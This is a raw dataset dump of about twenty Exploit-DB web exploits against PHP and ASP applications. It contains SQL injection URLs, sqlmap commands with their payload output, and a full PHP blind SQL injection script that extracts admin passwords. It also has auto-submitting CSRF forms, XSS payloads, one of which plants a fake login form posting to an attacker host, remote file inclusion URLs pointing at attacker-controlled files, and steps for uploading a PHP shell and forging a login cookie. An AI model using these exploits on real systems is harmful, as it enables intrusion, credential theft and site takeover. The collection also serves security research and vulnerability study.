deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6469
Description: Gonafish LinksCaffePRO 4.5 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-16
Author: sl4xUz

Exploit:
###########################################################
# 
#        ___    __ __                  __  __            
#       /\_ \  /\ \\ \                /\ \/\ \           
#   ____\//\ \ \ \ \\ \    __  _ __  _\ \ \ \ \  ____    
#  /',__\ \ \ \ \ \ \\ \_ /\ \/'\\ \/'\\ \ \ \ \/\_ ,`\  
# /\__, `\ \_\ \_\ \__ ,__\\>  <\\>   <\\ \ \_\ \/_/  /_ 
# \/\____/ /\____\\/_/\_\_//\_/\_\\_/\_\ \ \_____\/\____\
#  \/___/  \/____/   \/_/  \//\/_///\/_/  \/_____/\/____/
# 
#                                 security breakd0wn!
###########################################################
# 
# Title: Gonafish LinksCaffePRO 4.5 (index.php) SQL Injection Vulnerability
# Vendor: http://gonafish.com/
# Vulnerable Version: 4.5
# Fix: N/A
# 
###########################################################
# 
# disc0vered: sl4xUz
# c0ntact: sl4x.xuz[at]gmail[dot]com
# d0rk: "negative"
# stop lammo
# 
###########################################################

######################
  1. Information
######################
     LinksCaffePRO is a MySQL database driven link indexing script written in PHP 4. Using the admin script you have full control to add/modify/remove any link(s) or categorie(s).

######################
  2. Vulnerabilities
######################
     SQL Injection in "index.php" in the "idd" parameter.

######################
  3. PoC
######################
     http://localhost/path/index.php?action=deadlink&idd=-1+union+select+1,2,version(),4,concat(user(),0x3a,database()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

###########################################################

# milw0rm.com [2008-09-16]
Exploit-DB #39320
Description: Gongwalker API Manager 1.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2016-01-26
Author: HaHwul

Exploit:
gongwalker API Manager v1.1 - Blind SQL Injection

# Exploit Title: gongwalker API Manager v1.1 - Blind SQL Injection
# Date: 2016-01-25
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/gongwalker/ApiManager
# Software Link: https://github.com/gongwalker/ApiManager.git
# Version: v1.1
# Tested on: Debian

# =================== Vulnerability Description =================== #
Api Manager's index.php used tag parameters is vulnerable
http://127.0.0.1/vul_test/ApiManager/index.php?act=api&tag=1

# ========================= SqlMap Query ========================== #
sqlm -u "http://127.0.0.1/vul_test/ApiManager/index.php?act=api&tag=1" --level 4 --dbs --no-cast -p tag

# ================= SqlMap Result(get My Test DB) ================= #
Parameter: tag (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: act=api&tag=1' RLIKE (SELECT (CASE WHEN (9435=9435) THEN 1 ELSE 0x28 END)) AND 'uUNb'='uUNb

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: act=api&tag=1' AND (SELECT * FROM (SELECT(SLEEP(5)))qakZ) AND 'cSPF'='cSPF
---
[21:14:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0.11
[21:14:21] [INFO] fetching database names
[21:14:21] [INFO] fetching number of databases
[21:14:21] [INFO] resumed: 25
[21:14:21] [INFO] resumed: information_schema
[21:14:21] [INFO] resumed: "
[21:14:21] [INFO] resumed: ""
[21:14:21] [INFO] resumed: '
[21:14:21] [INFO] resumed: ''
[21:14:21] [INFO] resumed: '''
[21:14:21] [INFO] resumed: api
[21:14:21] [INFO] resumed: blackcat
[21:14:21] [INFO] resumed: edusec

...
Exploit-DB #41990
Description: Gongwalker API Manager 1.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-05-10
Author: HaHwul

Exploit:
# Exploit Title: gongwalker API Manager v1.1 - CSRF(Add/Delete/Edit API)
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/gongwalker/ApiManager
# Software Link: https://github.com/gongwalker/ApiManager.git
# Version: v1.1
# Tested on: Debian

### CSRF1 - ADD API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=add&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="test">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="test">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="lkj">
<input type="hidden" name="memo" value="kj">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="">
<input type="hidden" name="type" value="GET">
<input type="hidden" name="url" value="test">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="test">
<input type="hidden" name="re" value="lkj">
<input type="hidden" name="name" value="test">

<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->



### CSRF2 - Delete API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=apiDelete&act=ajax" method="POST">
<input type="hidden" name="id" value="3">

<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->


### CSRF3 - EDIT API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=edit&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="001">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="password">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="CSRF_PASSWORD">
<input type="hidden" name="memo" value="login_name \x4e0e email \x4e8c\x9009\x5176\x4e00654<script>alert('csrf')</script>">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="\x5bc6\x7801">
<input type="hidden" name="type" value="POST">
<input type="hidden" name="url" value="http://api.xxx.com">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="\x4f1a\x5458\x767b\x5f55\x8c03\x7528\x6b64\x63a5\x53e3">
<input type="hidden" name="re" value="{\r\n    \"status\": 1, \r\n    \"info\": \"\x767b\x5f55\x6210\x529f\", \r\n    \"data\": [ ]\r\n}">
<input type="hidden" name="name" value="\x4f1a\x5458\x767b\x5f55">
<input type="hidden" name="id" value="2">

<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->
Exploit-DB #22279
Description: GONiCUS System Administrator 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-24
Author: Karol Wiesek

Exploit:
source: https://www.securityfocus.com/bid/6922/info

GONiCUS System Administrator is prone to an issue that may allow remote attackers to include files located on remote servers. This issue is present in several PHP pages existing in the /plugins and /includes folders.

By crafting specific URI parameters it is possible for an attacker to influence the include path for these scripts to an external file on an attacker-controlled host. If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the vulnerable web server.

This vulnerability has been reported for GONiCUS System Administrator Version 1, previous versions may also be affected.

http://www.example.org/include/help.php?base=http://www.attacker.org/
Exploit-DB #9185
Description: good/bad vote - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-07-17
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Good/Bad Vote (XSS/LFI) Vulnerability
==============================================================================

	[Â»] Script:             [ Good/Bad Vote ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.scriptsez.net/index.php?action=details&cat=Polls%20and%20Voting&id=[PII_REDACTED]  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ 6 US $ ]

###########################################################################

===[ Exploit XSS vulnerability ]===	
	
	[Â»] http://www.site.com/patch/vote.php?action=vote&id=[XSS]&ficdest=0%2Edat&midcast=0%2Etxt

        [Â»] http://searchall.iwebland.com:80/sigs/vote.php?action=vote&id=[XSS]&ficdest=0%2Edat&midcast=0%2Etxt
            XSS TO ADD: 1<script>alert[PII_REDACTED]94)</script>
           
===[ Exploit LFI ]=== 

       [Â»] http://www.site.com/patch/vote.php?action=dovote&id=[LFI]&ficdest=.dat&midcast=.txt

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-17]
Exploit-DB #31239
Description: Google Hack Honeypot File Upload Manager 1.3 - 'delall' Unauthorized File Access
Type: webapps
Platform: php
Date: 2008-02-19
Author: Mr-m07

Exploit:
source: https://www.securityfocus.com/bid/27877/info

Google Hack Honeypot File Upload Manager is prone to an unauthorized file-access vulnerability. This issue occurs because the application fails to validate users before processing a certain HTTP request.

Attackers can exploit this issue to delete all files that have been uploaded to the application.

File Upload Manager 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/index.php?act=delall
Exploit-DB #28644
Description: Google Mini Search Appliance 4.4.102.M.36 - Information Disclosure
Type: webapps
Platform: php
Date: 2006-09-22
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/20149/info

The Google Mini Search Appliance is prone to an information-disclosure vulnerability. 

An attacker can exploit this vulnerability to reveal the location of a directory contained in the configured document root. Information harvested through exploiting this issue may aid in further attacks. 

This issue affects firmware version 4.4.102.M.36; other versions may also be affected.

http://www.example.com/js/vendors.php?file=../../../../[file]%00foobar.js
Exploit-DB #24719
Description: Goolery 0.3 - 'viewalbum.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-11-02
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/11587/info
 
It is reported that Goollery is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
These problems present themselves when malicious HTML and script code is sent to the application through the 'page' parameter of several scripts.
 
These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/goollery/viewalbum.php?conversation_id=ffee00b71f3931a&page=<form%20action="http://www.atacker.com/save2db.asp"%20method="post">Username:<input%20name="us
ername"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20value="Login"></fo
rm>&sess=daf5c642ade1162f15c4eb4b7e89da17

http://www.example.com/goollery/viewalbum.php?conversation_id=ffee00b71f3931a&page=<body>XSS%20poW@!!</body>&sess=daf5c642ade1162f15c4eb4b7e89da17
Exploit-DB #24718
Description: Goolery 0.3 - 'viewpic.php?conversation_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-11-02
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/11587/info

It is reported that Goollery is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input. 

These problems present themselves when malicious HTML and script code is sent to the application through the 'page' parameter of several scripts. 

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/goollery/viewpic.php?id=2&conversation_id=ffee00b71f3931a&btopage=<form%20action="http://www.atacker.com/save2db.asp"%20method="post">Username:<input%20na
me="username"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20value="Login
"></form>
Exploit-DB #7683
Description: Goople 1.8.2 - 'FrontPage.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-06
Author: darkjoker

Exploit:
#--+++=========================================================+++--#
#--+++====== Goople <= 1.8.2 Blind SQL Injection Exploit ======+++--#
#--+++=========================================================+++--#

#!/usr/bin/php
<?

function usage ()
{
	echo
		"\n[+] Goople <= 1.8.2 Blind SQL Injection Exploit".
		"\n[+] Author: darkjoker".
		"\n[+] Site  : http://darkjoker.net23.net".
		"\n[+] Usage : php xpl.php <hostname> <path> [key]".
		"\n[+] Ex.   : php xpl.php localhost /goople abcdefghijklmnopqrstuvwxyz".
		"\n[+] Note  : Have fun ^^\n\n";
	exit ();
}

function check ($hostname, $path, $field, $pos, $char)
{
	$char = ord ($char);
	$fp = fsockopen ($hostname, 80);
	$usr = "username=1' OR IF((ASCII(SUBSTRING((SELECT {$field} FROM GoopleCMS_users_ WHERE id =1),{$pos},1))={$char})".
	       ",BENCHMARK(200000000,CHAR(0)),0) OR '1' = '2";
	$usr = str_replace ("'", "%27", $usr);
	$usr = str_replace (" ", "%20", $usr);
	$[CREDENTIAL_REDACTED]=asd";
	$sub = "loginsubmit=loginsubmit&loginsubmit=Login";
	$str = "{$usr}&{$pwd}&{$sub}";
	$post = "POST {$path}/frontpage.php HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n".
		"Content-Type: application/x-www-form-urlencoded\r\n".
		"Content-Length: " . strlen ($str) . "\r\n\r\n".
		$str;
	
	fputs ($fp, $post);
	$a =  time ();
	while (!feof ($fp))
		$res .= fgets ($fp, 1024);

	$b =  time ();
	fclose ($fp);

	if ($b - $a > 4)
		return true;
	else
		return false;
}


function brute ($hostname, $path, $field, $key)
{
	$pos = 1;
	$chr = 0;
	while ($chr < strlen ($key))
	{
		if (check ($hostname, $path, $field, $pos, $key [$chr]))
		{
			echo $key [$chr];
			$chr = -1;
			$pos++;
		}
		$chr++;
	}
}


if (count ($argv) != 3)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$key = $argv [3];
if (empty ($key))
	$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]";

echo "[+] Username: ";
brute ($hostname, $path, "username", $key);
echo "\n[+] Password: ";
brute ($hostname, $path, "password", $key);
echo "\n";

?>

# milw0rm.com [2009-01-06]
Exploit-DB #7210
Description: Goople CMS 1.7 - Arbitrary Code Execution
Type: webapps
Platform: php
Date: 2008-11-24
Author: x0r

Exploit:
-============================================-
Autore: x0r - Evolution Team
Msn: andry2000@hotmail.it
Cms: Goople Cms 1.7
Bug: Arbitrary File Creation
Download:
http://ovh.dl.sourceforge.net/sourceforge/gooplecms/GoopleCMS_1.7.rar
-============================================-

Exploit:

#Attack One

Logg yourself like a normal user then in your meno go on "Notepad" (
/win/notepad/index.php ), in this notepad you can make a php shell :P

#Attack Two

Use this js code for bypass the log in: javascript:document.cookie =
"loggedin=1; path=/"; <--- tnx BeyazKurt

And then go to /win/notepad/index.php


Greetz: Amore mio oggi sono 48 giorni...Ti AmO Da Impazzire... A + M....
Bimba Mia Sei La Mia Vita...

# milw0rm.com [2008-11-24]
Exploit-DB #7197
Description: Goople CMS 1.7 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-23
Author: x0r

Exploit:
-============================================-
Autore: x0r - Evolution Team
Msn: andry2000@hotmail.it
Cms: Goople Cms 1.7
Bug: Arbitrary File Upload
Download:
http://ovh.dl.sourceforge.net/sourceforge/gooplecms/GoopleCMS_1.7.rar
-============================================-
Exploit:

Logg youself like a normal user, and then go to:

/win/content/upload.php and upload your php shell

after go to: /user/doc/shell.php

Greetz: Amore mio sono 47 giorni che stiamo insieme, 47 giorni
fantastici...sei la mia vita... A + M = L O V E
        Ti Amo Bimba Mia... 8\10\2008

# milw0rm.com [2008-11-23]
Exploit-DB #7205
Description: Goople CMS 1.7 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-23
Author: BeyazKurt

Exploit:
#######################################################
# Author : BeyazKurt
# Contact : BeyazKurt@BSDMail.Com
# Site : www.khg-crew.ws - KOSOVA HACKERS GROUP
#
# Script : Goople Cms (1.7)
# Download : http://ovh.dl.sourceforge.net/sourceforge/gooplecms/GoopleCMS_1.7.rar
# 
# Exploit : 
# Open : http://SITE/win/upload.php
# javascript:document.cookie = "loggedin=1; path=/";
# Copy/paste and go and back and upload PHP/HTML etc.. file. (and ingilizceme sokiyim :D )
# File : http://SITE/user/doc/FILE (or your select)
# -------------------------------
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#                       Rinia ShqiptaRe  :) 
#                       Proud 2 Be MUSLIM !
#                      Proud 2 Be ALBANIAN !
#######################################################

# milw0rm.com [2008-11-23]
Exploit-DB #4575
Description: GoSamba 1.0.1 - 'INCLUDE_PATH' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-10-27
Author: GoLd_M

Exploit:
#################################################################################
#  GoSamba 1.0.1 (include_path) Multiple Remote File Inclusion Vulnerabilities
#  http://mesh.dl.sourceforge.net/sourceforge/gosamba/gosamba.1.0.1.tar.gz
#  POC :
#  /inc_group.php?include_path=http://localhost/scripts/020.txt?
#  /inc_manager.php?include_path=http://localhost/scripts/020.txt?
#  /inc_newgroup.php.php?include_path=http://localhost/scripts/020.txt?
#  /inc_smb_conf.php?include_path=http://localhost/scripts/020.txt?
#  /inc_user.php?include_path=http://localhost/scripts/020.txt?
#  /main.php?include_path=http://localhost/scripts/020.txt?
#  /include/HTML_oben.php?include_path=http://localhost/scripts/020.txt?
#  /include/inc_freigabe.php?include_path=http://localhost/scripts/020.txt?
#  /include/inc_freigabe1.php?include_path=http://localhost/scripts/020.txt?
#  /include/inc_freigabe3.php?include_path=http://localhost/scripts/020.txt?
#################################################################################

# milw0rm.com [2007-10-27]
Exploit-DB #35702
Description: GoT.MY (Multiple Products) - 'theme_dir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-03
Author: Hector.x90

Exploit:
source: https://www.securityfocus.com/bid/47702/info

Multiple GoT.MY products are prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials; other attacks are possible.

The following are vulnerable:
Classified ADs 2.9.1
Classmates 1.1.1
Deal Informer 4.8.0 

http://www.example.com/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3E
alert%28document.cookie%29;%3C/script%3E
Exploit-DB #17950
Description: GotoCode Online Classifieds - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-09
Author: Nathaniel Carew

Exploit:
###############################################################################
# Exploit Title : GotoCode Online Classifieds Multiple Vulnerabilities
# Vulnerability : Privilege Escalation / Remote Database Download
# Date      : 09/10/2011
# Author    : Nathaniel Carew
# Email     : njcarew@gmail.com
# Impact    : High
# Software Link : http://www.gotocode.com/apps.asp?app_id=5&
# Platform  : ASP.NET
# Tested on : MS Windows Server Standard 2003 SP2 / IIS 6
# Thanks    : Peregrinus & Birch Meister General
###############################################################################
  
Overview:
---------
Database:
If the application is configured using the default directory structure and an
access database then a user can download the access database.
 
Privilege Escalation:
First reset your own password via the 'Registration' link:
http://localhost/[path]/Registration.aspx
This now takes you to a new page where you can select the 'Edit my info' link:
http://localhost/[path]/MyInfo.aspx?member_id=10&
Change the above GET URI to member_id=1& and refresh

Now by modifying the following variables in the POST data you can reset the admin password
with the password you entered into the appropriate field to gain full admin rights to the web application:

p_Record_member_id=1
Record_member_id=1
Record_name=admin
Record_member_[CREDENTIAL_REDACTED]
  
Proof of Concept:
-----------------
http://localhost/[path]/Classifieds_MSAccess.mdb
http://localhost/[path]/MyInfo.aspx?p_Record_member_id=1&Record_member_id=1&Record_name=admin&Record_member_[CREDENTIAL_REDACTED]_email=moo&Record_location=&Record_home_phone=&Record_work_phone=
  
Impact:
-------
By resetting the admin password an attacker would be able to completely control the application, users
and their associated data. Successful database exploitation would allow an attacker to download the complete
database of users information including email addresses usernames, passwords and associated classified listed data.
Exploit-DB #3786
Description: GPB Bulletin Board - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-04-24
Author: ThE TiGeR

Exploit:
#GPB bulletin board Remote file include                                                        

#Download script : http://gpb.sourceforge.net/download/archive/gpb-unstable-2001.11.14-1.tar.gz

#D0rk : Download Script and install it in ur machine

#Exploit :

#http://localhost/[gpb_path]/themes/ubb/login.php?theme=shell.txt?

#http://localhost/gpb/include/db.mysql.inc.php?root_path= shell.txt?

#http://localhost/gpb/include/gpb.inc.php?root_path=shell.txt?

#Discovered by : ThE TiGeR

#Miro_Tiger100[at]hotmail[dot]com

# milw0rm.com [2007-04-24]